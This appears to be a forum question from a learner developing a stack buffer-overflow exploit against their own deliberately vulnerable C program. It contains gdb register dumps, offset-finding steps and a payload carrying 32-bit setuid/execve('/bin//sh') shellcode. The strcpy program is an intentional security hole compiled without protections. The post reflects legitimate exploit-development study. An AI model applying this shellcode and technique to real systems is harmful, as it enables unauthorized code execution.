title: Buffer Overflow - Finding EIP
body: <p>I am on
  <code>Linux kali 5.6.0-kali2-amd64 #1 SMP Debian 5.6.14-1kali1 (2020-05-25) x86_64 GNU/Linux</code> and
  I am learning to exploit buffer overflows vulnerabilities so I'm quite bad at doing it yet, so probably this will be an easy question, but I cannot find any useful resource online.</p>
  <p>I am trying to exploit a simple program taking advantage of a buffer overflow vulnerability.
  The source code of the program is the following:</p>
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  
  int main (int argc, char *argv[]){
          char buffer[64];
  
          if (argc &lt; 2){
                  printf(&quot;Error - Increase input!&quot;);
                  return 1;
          }
          strcpy(buffer, argv[1]);
          return 0;
  }
  </code></pre>
  <p>and the vulnerable function is strcpy.</p>
  <p>I compiled it using:</p>
  <pre><code>gcc buf.c -o buf -fno-stack-protector -m32 -no-pie -z execstack -g
  </code></pre>
  <p><em><strong>Finding the offset</strong></em></p>
  <p>So the first step I usually take is to build a buffer to find the right offset to write into the EIP.</p>
  <pre><code>kali@kali:~/Downloads/temp$ msf-pattern_create -l 100
  Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
  </code></pre>
  <p>Using gdb (with peda installed), I run the program and I check the registers</p>
  <pre><code>Program received signal SIGSEGV, Segmentation fault.
  [----------------------------------registers-----------------------------------]
  EAX: 0x0 
  EBX: 0x33634132 ('2Ac3')
  ECX: 0x63413163 ('c1Ac')
  EDX: 0xffffd224 --&gt; 0xffffd200 (&quot;c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A&quot;)
  ESI: 0xf7fb2000 --&gt; 0x1dfd6c 
  EDI: 0xf7fb2000 --&gt; 0x1dfd6c 
  EBP: 0x41346341 ('Ac4A')
  ESP: 0x6341315f ('_1Ac')
  EIP: 0x80491d8 (&lt;main+102&gt;:     ret)
  EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
     0x80491d3 &lt;main+97&gt;: pop    ebx
     0x80491d4 &lt;main+98&gt;: pop    ebp
     0x80491d5 &lt;main+99&gt;: lea    esp,[ecx-0x4]
  =&gt; 0x80491d8 &lt;main+102&gt;:        ret    
     0x80491d9 &lt;__x86.get_pc_thunk.ax&gt;:   mov    eax,DWORD PTR [esp]
     0x80491dc &lt;__x86.get_pc_thunk.ax+3&gt;: ret    
     0x80491dd &lt;__x86.get_pc_thunk.ax+4&gt;: xchg   ax,ax
     0x80491df &lt;__x86.get_pc_thunk.ax+6&gt;: nop
  [------------------------------------stack-------------------------------------]
  Invalid $SP address: 0x6341315f
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value
  Stopped reason: SIGSEGV
  0x080491d8 in main (argc=&lt;error reading variable: Cannot access memory at address 0x63413163&gt;, argv=&lt;error reading variable: Cannot access memory at address 0x63413167&gt;) at buf.c:13
  13      }
  </code></pre>
  <p>As you can see from above, I cannot see what's in EIP, to use msf-pattern_offset in order to check what's the offset of the EIP.</p>
  <p><em><strong>Other Tests</strong></em></p>
  <p>Later on I tried other offsets and I noticed that if the buffer is exactly 64, the output is</p>
  <pre><code>gdb-peda$ run $(python -c 'print &quot;A&quot;*64')
  
  ##OUTPUT##
  Program received signal SIGSEGV, Segmentation fault.
  [----------------------------------registers-----------------------------------]
  EAX: 0x0 
  EBX: 0x0 
  ECX: 0xffffd200 ('A' &lt;repeats 48 times&gt;)
  EDX: 0xffffd230 --&gt; 0xffffd200 ('A' &lt;repeats 48 times&gt;)
  ESI: 0xf7fb2000 --&gt; 0x1dfd6c 
  EDI: 0xf7fb2000 --&gt; 0x1dfd6c 
  EBP: 0x0 
  ESP: 0xffffd200 ('A' &lt;repeats 48 times&gt;)
  EIP: 0x41414141 ('AAAA')
  EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
  Invalid $PC address: 0x41414141
  [------------------------------------stack-------------------------------------]
  0000| 0xffffd200 ('A' &lt;repeats 48 times&gt;)
  0004| 0xffffd204 ('A' &lt;repeats 44 times&gt;)
  0008| 0xffffd208 ('A' &lt;repeats 40 times&gt;)
  0012| 0xffffd20c ('A' &lt;repeats 36 times&gt;)
  0016| 0xffffd210 ('A' &lt;repeats 32 times&gt;)
  0020| 0xffffd214 ('A' &lt;repeats 28 times&gt;)
  0024| 0xffffd218 ('A' &lt;repeats 24 times&gt;)
  0028| 0xffffd21c ('A' &lt;repeats 20 times&gt;)
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value
  Stopped reason: SIGSEGV
  0x41414141 in ?? ()
  </code></pre>
  <p>Researching on that, I see that the EIP is exactly after 12 chars</p>
  <pre><code>gdb-peda$ run $(python -c 'print &quot;A&quot;*12 + &quot;B&quot;*4 + &quot;C&quot;*48')
  
  #OUTPUT#
  Program received signal SIGSEGV, Segmentation fault.
  [----------------------------------registers-----------------------------------]
  EAX: 0x0 
  EBX: 0x0 
  ECX: 0xffffd200 ('C' &lt;repeats 48 times&gt;)
  EDX: 0xffffd230 --&gt; 0xffffd200 ('C' &lt;repeats 48 times&gt;)
  ESI: 0xf7fb2000 --&gt; 0x1dfd6c 
  EDI: 0xf7fb2000 --&gt; 0x1dfd6c 
  EBP: 0x0 
  ESP: 0xffffd200 ('C' &lt;repeats 48 times&gt;)
  EIP: 0x42424242 ('BBBB')
  EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
  Invalid $PC address: 0x42424242
  [------------------------------------stack-------------------------------------]
  0000| 0xffffd200 ('C' &lt;repeats 48 times&gt;)
  0004| 0xffffd204 ('C' &lt;repeats 44 times&gt;)
  0008| 0xffffd208 ('C' &lt;repeats 40 times&gt;)
  0012| 0xffffd20c ('C' &lt;repeats 36 times&gt;)
  0016| 0xffffd210 ('C' &lt;repeats 32 times&gt;)
  0020| 0xffffd214 ('C' &lt;repeats 28 times&gt;)
  0024| 0xffffd218 ('C' &lt;repeats 24 times&gt;)
  0028| 0xffffd21c ('C' &lt;repeats 20 times&gt;)
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value
  Stopped reason: SIGSEGV
  0x42424242 in ?? ()
  </code></pre>
  <p>Using a 32bit payload spawning a shell, my idea was to develop an exploit passing the following buffer to the program:</p>
  <pre><code>python -c 'print &quot;\x90&quot;*12 + &quot;\x00\xd2\xff\xff&quot; + &quot;\x90&quot;*12 + &quot;\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80&quot; + &quot;\x90&quot;*4'
  </code></pre>
  <p>and I get this output:</p>
  <pre><code>bash: warning: command substitution: ignored null byte in input
  [Inferior 1 (process 5292) exited normally]
  Warning: not running
  </code></pre>
  <p>So I think I am close, but I cannot figure out how to make it work.</p>
  <p>SORRY FOR THE LENGTH OF THE QUESTION</p>